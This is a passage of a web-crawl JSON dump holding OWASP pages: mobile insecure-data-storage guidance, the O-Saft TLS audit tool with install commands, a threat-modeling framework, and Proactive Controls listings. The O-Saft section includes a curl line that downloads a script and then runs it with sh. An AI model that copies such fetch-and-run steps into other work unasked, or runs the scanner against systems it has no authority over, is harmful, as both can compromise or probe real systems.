This can lead to data integrity issues, inaccurate information, or the injection of malicious content into the app’s data stores.\n\n**Unauthorised access to application resources:** Insecure data storage can provide attackers with the ability to gain unauthorised access to critical application resources. This includes sensitive files, configuration files, or cryptographic keys stored within the app, which can be leveraged to compromise the app’s functionality or exploit its underlying systems.\n\n**Reputation and trust damage:** If an app is found to have insecure data storage, it can severely damage the reputation and trust of the app developer or organisation. Users may lose confidence in the app’s security, resulting in decreased user adoption and potential legal and regulatory consequences.\n\n**Compliance violations:** Insecure data storage can lead to non-compliance with industry regulations and data protection standards. App developers may be subject to penalties or legal actions if they fail to adequately protect user data and maintain secure data storage practices.\n\n# Business Impacts\n\n**Impact SEVERE**\n\nThe business impact of insecure data storage on a mobile application can be significant and wide-ranging. Here are some key business impacts:\n\n**Reputational damage**: Insecure data storage can lead to data breaches and compromised user accounts, which can severely damage the reputation and trust of the organisation. News of data breaches can spread quickly, resulting in negative publicity, customer dissatisfaction, and potential loss of business.\n\n**Loss of customer trust**: When sensitive customer data is compromised due to insecure data storage, customers may lose trust in the organisation’s ability to protect their information. This loss of trust can lead to a decrease in customer loyalty, increased customer churn, and a negative impact on overall customer satisfaction.\n\n**Legal and regulatory consequences**: Inadequate data storage practices may result in non-compliance with industry regulations and data protection laws. Organisations may face legal repercussions, including fines, penalties, or lawsuits for failing to protect user data adequately. Compliance violations can also damage the organisation’s reputation and trustworthiness in the eyes of customers and business partners.\n\n**Financial implications**: Data breaches and the resulting fallout can have significant financial implications for organisations. This includes the costs associated with investigating the breach, notifying affected customers, providing identity theft protection services, potential legal settlements, and loss of business opportunities.\n\n**Competitive disadvantage**: In today’s highly competitive landscape, organisations that experience data breaches or have a reputation for insecure data storage can face a competitive disadvantage. Customers are increasingly concerned about the security of their data, and they may choose competitors who have a better track record of safeguarding sensitive information.\n\n# Am I Vulnerable To ‘Insecure Data Storage’?\n\nInsecure data storage and unintended data leakage in a mobile application can manifest in several ways, leading to potential privacy breaches and unauthorised access to sensitive information. Here are common manifestations of these issues:\n\n**Lack of Access Controls**: Insufficient access controls within the application may allow unauthorised users or attackers to gain access to sensitive data stored on the device or in the app’s databases.\n\n**Inadequate Encryption**: Failure to properly encrypt sensitive data can result in unintended data leakage if an attacker gains access to the storage location. Without encryption, the data is easily readable and can be exploited.\n\n**Unintentional Data Exposure**: Mobile applications may inadvertently expose sensitive data through application logs, error messages, or debug features, allowing unauthorised individuals to view or capture sensitive information.\n\n**Poor Session Management**: Weak session management can lead to unintended data leakage. If session tokens or user authentication information are not adequately protected or managed, they can be intercepted or manipulated, allowing unauthorised access to sensitive data.\n\n**Insufficient Input Validation**: Inadequate input validation and data sanitization can lead to unintended data leakage. Attackers may exploit this weakness to inject malicious scripts or retrieve sensitive data by manipulating input fields.\n\n**Cloud Storage Misconfigurations**: If the mobile application uses cloud storage services for data storage and the configurations are mismanaged or misconfigured, it can result in unintended exposure or unauthorised access to stored data.\n\n**Third-Party Library Vulnerabilities**: Insecure third-party libraries used in the mobile application may have vulnerabilities that could lead to unintended data leakage. Attackers can exploit these vulnerabilities to gain unauthorised access to sensitive information.\n\n**Unintended Data Sharing**: Improper handling of data sharing features within the application can result in unintended data leakage. If sensitive data is shared with unintended recipients or if the sharing process is not adequately secured, it can lead to privacy breaches.\n\n# How Do I Prevent ‘Insecure Data Storage’?\n\nTo prevent insecure data storage in a mobile application and ensure the protection of sensitive data, the following security measures should be implemented:\n\n**Use Strong Encryption**: Implement robust encryption algorithms and practices to protect sensitive data both at rest and in transit. Utilise industry-standard encryption algorithms and ensure that encryption keys are securely stored and managed.\n\n**Secure Data Transmission**: Utilise secure communication protocols (e.g., HTTPS, SSL/TLS) to protect data during transmission between the mobile application and backend servers. Avoid sending sensitive data over unsecured channels.\n\n**Implement Secure Storage Mechanisms**: Store sensitive data in secure storage locations that are inaccessible to unauthorised users. Use platform-specific secure storage mechanisms provided by the mobile operating system, such as Keychain (iOS) or Keystore (Android).\n\n**Employ Proper Access Controls**: Implement strong access controls to restrict unauthorised access to sensitive data. Authenticate users securely, enforce role-based access controls, and validate user permissions before granting access to sensitive information.\n\n**Validate Input and Sanitize Data**: Implement input validation and data sanitization techniques to prevent injection attacks and ensure that only valid and expected data is stored. Validate user inputs to mitigate the risk of malicious code injection or unintended data leakage.\n\n**Apply Secure Session Management**: Implement secure session management techniques, such as using randomly generated session tokens, setting proper session timeouts, and securely storing session data on the client and server sides.\n\n**Regularly Update and Patch Dependencies**: Keep all libraries, frameworks, and third-party dependencies up to date, as they may contain security vulnerabilities that could lead to insecure data storage. Regularly apply security patches and updates provided by the respective vendors.\n\n**Stay Informed**: Stay up to date with the latest security threats and vulnerabilities in the mobile application landscape. Monitor security forums, security advisories, and mobile platform updates to ensure timely mitigation of emerging risks.\n\n# Example Attack Scenarios\n\nFew example scenarios that illustrate potential instances of insecure data storage in a mobile application:\n\n**Storing Passwords in Plain Text**: The mobile application stores user passwords in plain text format within a local database or file, making it easy for an attacker to retrieve and abuse these credentials if they gain unauthorized access to the device.\n\n**Unsecured Local Storage**: The mobile application stores sensitive user data, such as personally identifiable information (PII), locally on the device without utilizing proper access controls or encryption. This allows anyone with physical access to the device to extract and view the data.\n\n**Insecure Data Caching**: The mobile application caches sensitive data, such as user authentication tokens or session information, without implementing appropriate security measures. If an attacker gains access to the device’s cache, they can obtain these credentials and impersonate the user.\n\n**Unprotected Logging**: The mobile application logs sensitive data, including user actions, API responses, or error messages, without proper security controls. This can lead to unintentional exposure of sensitive information if an attacker gains access to the device or intercepts the log files.\n\n**Insecure Cloud Storage Configuration**: The mobile application utilizes cloud storage services to store user data but misconfigures the storage permissions, allowing unauthorized access to the stored information. This can result in data leakage or unauthorized exposure of sensitive data.\n\n**Improper Handling of Temporary Files**: The mobile application creates temporary files to process or store sensitive data, but fails to properly handle and delete these files afterward. This leaves sensitive information exposed and vulnerable to unauthorized access.\n\n# References\n\n- OWASP\n - [OWASP](https://www.owasp.org/)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 13947, "slov": 1930, "odkazu": 25, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:28", "sha256": "d74047a7c170bd7886139b333ffdf0d4bd2e0d499910fa9be47c5ee850087f0d", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-o-saft/", "titulek": "OWASP O-Saft | OWASP Foundation", "h1": "OWASP O-Saft", "popis": "O-Saft is an easy to use tool to show informations about SSL certificate and tests the SSL connection according given list of ciphers and various SSL configurations.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-o-saft/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "O-Saft is an easy to use tool to show informations about SSL certificate and tests the SSL connection according given list of ciphers and various SSL configurations.", "og:title": "OWASP O-Saft | OWASP Foundation", "og:url": "https://owasp.org/www-project-o-saft/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP O-Saft"}, {"uroven": 1, "text": "O-Saft"}, {"uroven": 2, "text": "Introduction"}, {"uroven": 3, "text": "Quick Installation:"}, {"uroven": 2, "text": "Description"}, {"uroven": 3, "text": "In a Nutshell:"}, {"uroven": 2, "text": "New Features of Test Version"}, {"uroven": 3, "text": "Quick Installation (latest version 24.09.24):"}], "markdown": "# OWASP O-Saft\n\n# O-Saft\n\n**OWASP SSL advanced forensic tool / OWASP SSL audit for testers**\n\nO-Saft is an easy to use tool to show informations about SSL certificate and tests the SSL connection according given list of ciphers and various SSL configurations.\n\nIt’s designed to be used by penetration testers, security auditors or server administrators. The idea is to show the important informations or the special checks with a simple call of the tool. However, it provides a wide range of options so that it can be used for comprehensive and special checks by experienced people.\n\nO-Saft is a command-line tool, so it can be used offline and in closed environments. There is also a GUI based on Tcl/Tk. However, it can simply be turned into an online CGI-tool (please read documentation first).\n\n## Introduction\n\n### Quick Installation:\n\n- Download and unpack o-saft.tgz (Stable Release)\n- to run o-saft: Ensure that following perl modules (and their dependencies) are installed\n - IO::Socket::INET, IO::Socket::SSL, Net::SSLeay\n - Net::SSLinfo, Net::SSLhello (which are part of the tarball)\n- read and (re-)move o-saft-README\n- Show help `o-saft --help=commands\n o-saft --help`\n- Start `o-saft +info your.tld\n o-saft +check your.tld\n o-saft +quick your.tld\n o-saft +cipherall your.tld\n o-saft +cipherall --starttls=pop3 pop3.your.tld:110\n o-saft +info mail.tld:25 --starttls`\n- to run the optional **checkAllCiphers** (tiny program to check solely ciphers, like command ‘+cipherall’): It usually does not need any perl module to be additionally installed\n - Socket (should be part of your perl installation)\n - Net::SSLhello (which is part of the tarball)\n - NET::DNS (only needed, if option ‘–mx’ is used)\n- Start `checkAllCiphers your.tld\n checkAllCiphers --starttls=pop3 pop3.your.tld:110\n checkAllCiphers --mx your.tld:25 --starttls=smtp`\n- Simple GUI `o-saft.tcl\n o-saft.tcl your.tld`\n- Kali 2019 `apt install o-saft # installs version 19.01.19\n apt install libidn11-dev libidn2-0-dev libzip-dev libsctp-dev libkrb5-dev\n cd /usr/share/o-saft\n # get updated script\n curl -O contrib/install_openssl.sh https://raw.githubusercontent.com/OWASP/O-Saft/master/contrib/install_openssl.sh\n sh contrib/install_openssl.sh --m\n # enjoy commands as described before ...`\n\n## Description\n\nThe main idea is to have a tool which works on common platforms and can simply be automated.\n\n### In a Nutshell:\n\n- show SSL connection details\n- show certificate details\n- check for supported ciphers\n- check for ciphers provided in your own libssl.so and libcrypt.so\n- check for ciphers without any dependency to a library (+cipherall)\n- checks the server’s priority for ciphers (+cipherall)\n- check for special HTTP(S) support (like SNI, HSTS, certificate pinning, SSTP)\n- check for vulnerabilities (BEAST, CRIME, DROWN, FREAK, Heartbleed, Lucky 13, POODLE, RC4 Bias, Sweet32 …)\n- check the length of Diffie Hellman Parameters by the cipher (+cipherall needs option ‘–experimental’)\n- may check for a single attribute\n- may check multiple targets at once\n- can be scripted (headless or as CGI)\n- should work on any platform (just needs perl, openssl optional)\n- can be used in CI / CD environments\n- output format can be customized\n- various trace and debug options to hunt unusual connection problems\n- supports STARTTLS for various protocols\n - SMTP, POP3, IMAP, LDAP, RDP, XMPP, IRC (experimental) …\n - customize your own STARTTLS sequence using –starttls=’CUSTOM’, see help for ‘–starttls_phase1..5’ and ‘–starttls_error1..3’\n - without using openssl\n - slows down to prevent blockades of requests due to too much connections (supported for some protocols like SMTP)\n- Proxy is supported (besides commands using openssl)\n- check of STARTTLS/SMTP for all servers of a MX Resource Record (e.g. checkAllCiphers –mx your.tld:25 –starttls=smtp)\n- checkAllCiphers.pl and ‘+cipherall’ support DTLS for ‘–experimental’ use (if records are *not* fragmented)\n\n## New Features of Test Version\n\n### Quick Installation (latest version 24.09.24):\n\n- Download and unpack master.zip from [github.com/OWASP/O-Saft](https://github.com/OWASP/O-Saft/) or use [o-saft.tgz](https://github.com/OWASP/O-Saft/raw/master/o-saft.tgz)\n- Start INSTALL.sh (if you want)\n- Enjoy new functionality:\n - ‘+cipherraw’ and ‘checkAllCiphers.pl’ changed bahavior to check sni (now the default is to use solely sni >=tls1\n - new option –togglesni tests without and with sni in one call\n - checkAllCiphers.pl/+cipherall: shows the length of dh_parameter for ciphers with DHE and DH_anon, shows the elliptic curve that the server prefers for ECDHE (independant from openssl)\n - checkAllCiphers.pl/+cipherall: support of fagmented messages reassembling SSL/TLS-records\n - please give us feedback via github\n\n---\n\n- Where can I get missing Perl-Modules? This depends on your OS and Perl installation, but just try ‘‘cpan '', e.g. ''cpan Net:DNS''\n - I am connected to the internet via a Proxy open the cpan-shell using ‘cpan’ and configure your proxy settings: ‘o conf init /proxy/’\n - I can not download the requested files (the proxy needs authentication) run ‘cpan ' several times, read the error messages and copy the requested files manually to the paths (without any additional temporary extension of the name),\n e.g. http://www.cpan.org/authors/01mailrc.txt.gz => /cpan/sources/authors/01mailrc.txt.gz\n- I get the Error “invalid SSL_version specified at …/perl/vendor/lib/IO/Socket/SSL.pm line …”\n - add options “–notlsv13 –nodtlsv1”, e.g. “perl o-saft.pl +info your.tld –notlsv13 –nodtlsv1”\n - use ‘‘+cipherall’’ to check the ciphers for all protocols\n- My local SSL libraries do *not* support legacy Protocols like SSLv2, SSLv3 or legacy Ciphers\n - use “o-saft.pl” for all protocols that are supported by your local computer\n - use “o-saft.pl +cipherall” (or “checkAllCiphers.pl”) to get the ciphers for the missing protocols, or recompile ‘Net::SSLeay’ and/or ‘‘openssl’’ to support more protocols and ciphers, see (Documentation INSTALLATION)[O-Saft/Documentation#INSTALLATION] for details\n- I can not use the latest features of the test (experimental) version\n - Please verify that you downloaded and unpacked the (‘master.zip’-Archive)[https://github.com/OWASP/O-Saft/archive/master.zip]\n - some new functions are protected by the option “–experimental”, please add it to your command (and take care what happens)\n- o-saft.pl seems to hang\n - try one or all of following options (see (Documentation Performance Problems)[O-Saft/Documentation#Performance_Problems]) ”–no-dns”, “–no-http”, “–no-cert”, “–no-sni”, “–no-openssl”\n\n---\n\n[Watch](https://github.com/owasp/www-project-o-saft/subscription) [Star](https://github.com/owasp/www-project-o-saft)", "znaku_textu": 6545, "slov": 917, "odkazu": 31, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:54", "sha256": "561a6975582c63f716a08bfaea78e3771a59ab50aad90b5466abb140935ead10", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/O-Saft/", "https://github.com/OWASP/O-Saft/raw/master/o-saft.tgz", "https://github.com/owasp/www-project-o-saft/subscription", "https://github.com/owasp/www-project-o-saft", "https://github.com/OWASP/O-Saft", "https://wiki.owasp.org/index.php/O-Saft", "https://github.com/OWASP/O-Saft/issues", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-ontology-driven-threat-modeling-framework/", "titulek": "OWASP Ontology Driven Threat Modeling Framework | OWASP Foundation", "h1": "OWASP Ontology Driven Threat Modeling Framework", "popis": "OWASP Ontology-driven Threat Modelling (OdTM) framework is a set of means for implementation of an ontological approach into automatic threat modelling of computer systems.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-ontology-driven-threat-modeling-framework/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP Ontology-driven Threat Modelling (OdTM) framework is a set of means for implementation of an ontological approach into automatic threat modelling of computer systems.", "og:title": "OWASP Ontology Driven Threat Modeling Framework | OWASP Foundation", "og:url": "https://owasp.org/www-project-ontology-driven-threat-modeling-framework/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Ontology Driven Threat Modeling Framework"}, {"uroven": 2, "text": "What is OdTM?"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Roadmap"}, {"uroven": 3, "text": "Getting Involved"}], "markdown": "# OWASP Ontology Driven Threat Modeling Framework\n\n## What is OdTM?\n\nOWASP Ontology-driven Threat Modelling (OdTM) framework is a set of means for implementation of \nan ontological approach into automatic threat modelling of computer systems.\n\n### Description\n\nThe OdTM framework enables formalization of security related knowledge (architectural components and associated threats and countermeasures)\nof different computer system types (architectural domains) in form of domain-specific threat models, or ontologies in the OWL (Web Ontology language) format.\nThat gives a useful way to collect the knowledge by security professionals and share with software architects, developers and users.\nAlso, the framework allows to describe a computer system in term of a domain-specific threat model with a DFD (data flow diagram), \nand use automatic reasoning procedures to build a threat model (relevant threats and countermeasures) of the system. \nSuch a feature makes it easily automation of the threat modelling process.\n\nOur goals are:\n\n- to maintain a base threat model (ontology) that enables creation of domain-specific threat models;\n- to create different domain-specific threat models (for Web applications, Cloud computing, Internet of Things etc.);\n- to develop an ontology-driven threat rule engine, and a GUI editor of domain-specific threat models.\n\n### Roadmap\n\n**Vision**: Involve the ontology-driven approach into automatic threat modelling for collecting, \nsharing and usage of the strict security-related knowledge through creation of domain-specific threat models and development of software tools.\n\n**Initial plan**:\n\n- Milestone 1: To implement a threat rule engine (OdTM Server) as a remote JSON API service.\n- Milestone 2: To develop various domain-specific threat models (the cloud computing domain as the first step).\n- Milestone 3: To implement software modules, providing integration of OdTM Server with GUI threat modelling tools.\n- Milestone 4: To implement a GUI editor of domain-specific threat models (OdTM Studio).\n\n**Technology**: Knowledge engineering, OWL (Web Ontology Language), Java, the OWL API library, the Jackson JSON library.\n\nfrom OWASP:\n\n- [OWASP Threat Dragon](https://owasp.org/www-project-threat-dragon/)\n- [OWASP Threat Model Cookbook](https://owasp.org/www-project-threat-model-cookbook/)\n- [OWASP PyTM (Pythonic Threat Modeling)](https://owasp.org/www-project-pytm/)\n\nthird-party:\n\n- [A set of semantic data flow diagrams](https://github.com/nets4geeks/DockerComposeDataset)\n- [ACCTP catalog](https://nets4geeks.github.io/acctp/)\n- [OWL API](https://github.com/owlcs/owlapi)\n- [HermiT Reasoner](http://www.hermit-reasoner.com/)\n\n### Getting Involved\n\nEveryone is welcome and encouraged to participate in the OWASP OdTM project with contributions \n(github pulls, issues, clons etc.), collaboration, feedback, and promotion.\n\n---\n\n[Watch](https://github.com/owasp/www-project-ontology-driven-threat-modeling-framework/subscription) [Star](https://github.com/owasp/www-project-ontology-driven-threat-modeling-framework)", "znaku_textu": 3009, "slov": 393, "odkazu": 39, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:27", "sha256": "d8a3049f98f8c820c6bb49fbf78fd4f6cd6eb4b465e81c0a3a04490e549d6062", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/nets4geeks/DockerComposeDataset", "https://nets4geeks.github.io/acctp/", "https://github.com/owlcs/owlapi", "http://www.hermit-reasoner.com/", "https://github.com/owasp/www-project-ontology-driven-threat-modeling-framework/subscription", "https://github.com/owasp/www-project-ontology-driven-threat-modeling-framework", "https://github.com/OWASP/OdTM/", "https://github.com/OWASP/OdTM/blob/master/guide/README.md", "https://github.com/OWASP/OdTM/blob/master/docs/ODTMACCTP.md", "https://github.com/OWASP/OdTM/blob/master/OdTMACCTP.owl", "https://github.com/OWASP/OdTM/blob/master/docs/IM.md", "https://github.com/OWASP/OdTM/blob/master/docs/BASEMODEL.md", "https://github.com/OWASP/OdTM/blob/master/OdTMBaseThreatModel.owl", "https://owasp.slack.com/archives/C01MUFTB0HG", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-proactive-controls/", "titulek": "About this Project - OWASP Top 10 Proactive Controls", "h1": "About this Project", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "About this Project"}, {"uroven": 2, "text": "Aim & Objective"}, {"uroven": 2, "text": "Target Audience"}, {"uroven": 2, "text": "How to Use this Document"}, {"uroven": 2, "text": "Project Leaders"}, {"uroven": 2, "text": "Copyright and Licence"}], "markdown": "# About this Project\n\nInsecure software is undermining our financial, healthcare, defense, energy, and other critical infrastructure worldwide. As our digital, global infrastructure gets increasingly complex and interconnected, the difficulty of achieving application security increases exponentially. We can no longer afford to tolerate relatively simple security problems.\n\n## Aim & Objective\n\nThe goal of the **OWASP Top 10 Proactive Controls project** is to raise awareness about application security by describing the most important areas of concern that software developers must be aware of. We encourage you to use the OWASP Proactive Controls to get your developers started with application security. Developers can learn from the mistakes of other organizations. We hope that the OWASP Proactive Controls is useful to your efforts in building secure software.\n\n## Target Audience\n\nThis document is primarily written for developers. However, development managers, product owners, Q/A professionals, program managers, and anyone involved in building software can also benefit from this document.\n\n## How to Use this Document\n\nThis document’s main purpose is to provide a solid foundation of topics to help drive introductory software security developer training. To be effective, these controls should be used consistently and thoroughly throughout all applications.\n\nHowever, this document is a starting point rather than a comprehensive set of techniques and practices.\n\nA fully secure development process should include comprehensive requirements from a standard such as the OWASP ASVS in addition to including a range of software development activities described in maturity models such as [OWASP SAMM](https://www.owasp.org/index.php/OWASP_SAMM_Project) and [BSIMM](https://www.bsimm.com/).\n\n## Project Leaders\n\n- [Andreas Happe](/cdn-cgi/l/email-protection#dfbeb1bbadbabeacf1b7beafafba9fb0a8beacaff1b0adb8) , connect through [linkedin](https://www.linkedin.com/in/andreashappe/) , [github](https://github.com/andreashappe) , [twitter/x](https://twitter.com/andreashappe)\n- [Jim Manico](/cdn-cgi/l/email-protection#c7adaeaae9aaa6a9aea4a887a8b0a6b4b7e9a8b5a0) , connect through [linkedin](https://www.linkedin.com/in/jmanico/) , [github](https://github.com/jmanico) , [twitter/x](https://twitter.com/manicode)\n- [Katy Anton](/cdn-cgi/l/email-protection#91faf0e5e8bff0ffe5feffd1fee6f0e2e1bffee3f6) , connect through [linkedin](https://www.linkedin.com/in/katyanton/) , [github](https://github.com/katyanton) , [twitter/x](https://twitter.com/katyanton)\n\n## Copyright and Licence\n\nThis document is released under the Creative Commons Attribution-ShareAlike 4.0 International license. For any reuse or distribution, you must make it clear to others the license terms of this work.", "znaku_textu": 2756, "slov": 320, "odkazu": 80, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:32", "sha256": "4e1dba727bc798687b66e4bd5d94e07136355480fb41b429cbf10a673d5beb10", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/www-project-proactive-controls/", "https://www.owasp.org/index.php/OWASP_SAMM_Project", "https://www.bsimm.com/", "https://www.linkedin.com/in/andreashappe/", "https://github.com/andreashappe", "https://twitter.com/andreashappe", "https://www.linkedin.com/in/jmanico/", "https://github.com/jmanico", "https://twitter.com/manicode", "https://www.linkedin.com/in/katyanton/", "https://github.com/katyanton", "https://twitter.com/katyanton", "https://www.owasp.org/", "https://creativecommons.org/licenses/by/4.0", "https://github.com/OWASP/owasp-mastg/blob/master/about_cookies.md", "https://squidfunk.github.io/mkdocs-material/", "https://github.com/OWASP/www-project-proactive-controls"]} {"url": "https://owasp.org/www-project-proactive-controls/archive/2014/", "titulek": "Top 10 2014 - OWASP Top 10 Proactive Controls", "h1": "OWASP Top 10 Proactive Controls v1/2014", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/archive/2014/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 Proactive Controls v1/2014"}], "markdown": "# OWASP Top 10 Proactive Controls v1/2014\n\n- OWASP-2014-C1: Parameterize Queries\n- OWASP-2014-C2: Encode Data\n- OWASP-2014-C3: Validate All Inputs\n- OWASP-2014-C4: Implement Appropriate Access Controls\n- OWASP-2014-C5: Establish Identity and Authentication Controls\n- OWASP-2014-C6: Protect Data and Privacy\n- OWASP-2014-C7: Implement Logging, Error Handling and Intrusion Detection\n- OWASP-2014-C8: Leverage Security Features of Frameworks and Security Libraries\n- OWASP-2014-C9: Include Security-Specific Requirements\n- OWASP-2014-C10: Design and Architect Security In", "znaku_textu": 557, "slov": 80, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:14:45", "sha256": "b75ade0272cb14391301b0527969600fba438531922c118fd87114dc17c5e17d", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/www-project-proactive-controls/", "https://www.owasp.org/", "https://creativecommons.org/licenses/by/4.0", "https://github.com/OWASP/owasp-mastg/blob/master/about_cookies.md", "https://squidfunk.github.io/mkdocs-material/", "https://github.com/OWASP/www-project-proactive-controls"]} {"url": "https://owasp.org/www-project-proactive-controls/archive/2016/", "titulek": "OWASP Top 10 Proactive Controls v2 (2016) - OWASP Top 10 Proactive Controls", "h1": "OWASP Top 10 Proactive Controls v2 (2016)", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/archive/2016/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 Proactive Controls v2 (2016)"}, {"uroven": 2, "text": "OWASP Top 10 Proactive Controls 2016:"}, {"uroven": 2, "text": "Available Translations"}], "markdown": "# OWASP Top 10 Proactive Controls v2 (2016)\n\nYou can download an English version of the OWASP Top 10 Proactive Controls: [pdf](https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASP_Top_10_Proactive_Controls_V2.pdf), [docx](https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASP_Top_10_Proactive_Controls_-_V2.0.docx), [pptx](https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASP_Top_Ten_Proactive_Controls_v2.pptx).\n\n## OWASP Top 10 Proactive Controls 2016:\n\n- OWASP-2016-C1: Verify for Security Early and Often\n- OWASP-2016-C2: Parameterize Queries\n- OWASP-2016-C3: Encode Data\n- OWASP-2016-C4: Validate All Inputs\n- OWASP-2016-C5: Implement Identity and Authentication Controls\n- OWASP-2016-C6: Implement Appropriate Access Controls\n- OWASP-2016-C7: Protect Data\n- OWASP-2016-C8: Implement Logging and Intrusion Detection\n- OWASP-2016-C9: Leverage Security Frameworks and Libraries\n- OWASP-2016-C10: Error and Exception Handling\n\n## Available Translations\n\nIn alphabetical order:\n\n- Chinese: [pdf](https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASPTop10ProactiveControls2016-Chinese.pdf)\n- Hebrew: [pdf](https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASP_Proactive_Controls_2-Hebrew.pdf)\n- Japanese: [pdf](https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASPTop10ProactiveControls2016-Japanese.pdf)\n- Simplified Chinese: [pdf](https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASPTop10ProactiveControls2016-SimplifiedChinese.pdf)", "znaku_textu": 1572, "slov": 137, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:14:43", "sha256": "fc3826014cb7811670ec52e3aec18df2ad61cca8055189a450de8f723506e70c", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/www-project-proactive-controls/", "https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASP_Top_10_Proactive_Controls_V2.pdf", "https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASP_Top_10_Proactive_Controls_-_V2.0.docx", "https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASP_Top_Ten_Proactive_Controls_v2.pptx", "https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASPTop10ProactiveControls2016-Chinese.pdf", "https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASP_Proactive_Controls_2-Hebrew.pdf", "https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASPTop10ProactiveControls2016-Japanese.pdf", "https://github.com/OWASP/www-project-proactive-controls/blob/master/v2/OWASPTop10ProactiveControls2016-SimplifiedChinese.pdf", "https://www.owasp.org/", "https://creativecommons.org/licenses/by/4.0", "https://github.com/OWASP/owasp-mastg/blob/master/about_cookies.md", "https://squidfunk.github.io/mkdocs-material/", "https://github.com/OWASP/www-project-proactive-controls"]} {"url": "https://owasp.org/www-project-proactive-controls/archive/2016/in-the-news/", "titulek": "In the News - OWASP Top 10 Proactive Controls", "h1": "OWASP Top 10 Proactive Controls 2016 in the News", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/archive/2016/in-the-news/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 Proactive Controls 2016 in the News"}, {"uroven": 2, "text": "2017"}, {"uroven": 2, "text": "2016"}], "markdown": "# OWASP Top 10 Proactive Controls 2016 in the News\n\n## 2017\n\n- [11 Aug 2017] Presented at [Northeast PHP Conference](https://northeastphp2017.sched.com/event/B6uo/owasp-top-10-proactive-controls-2016)\n- 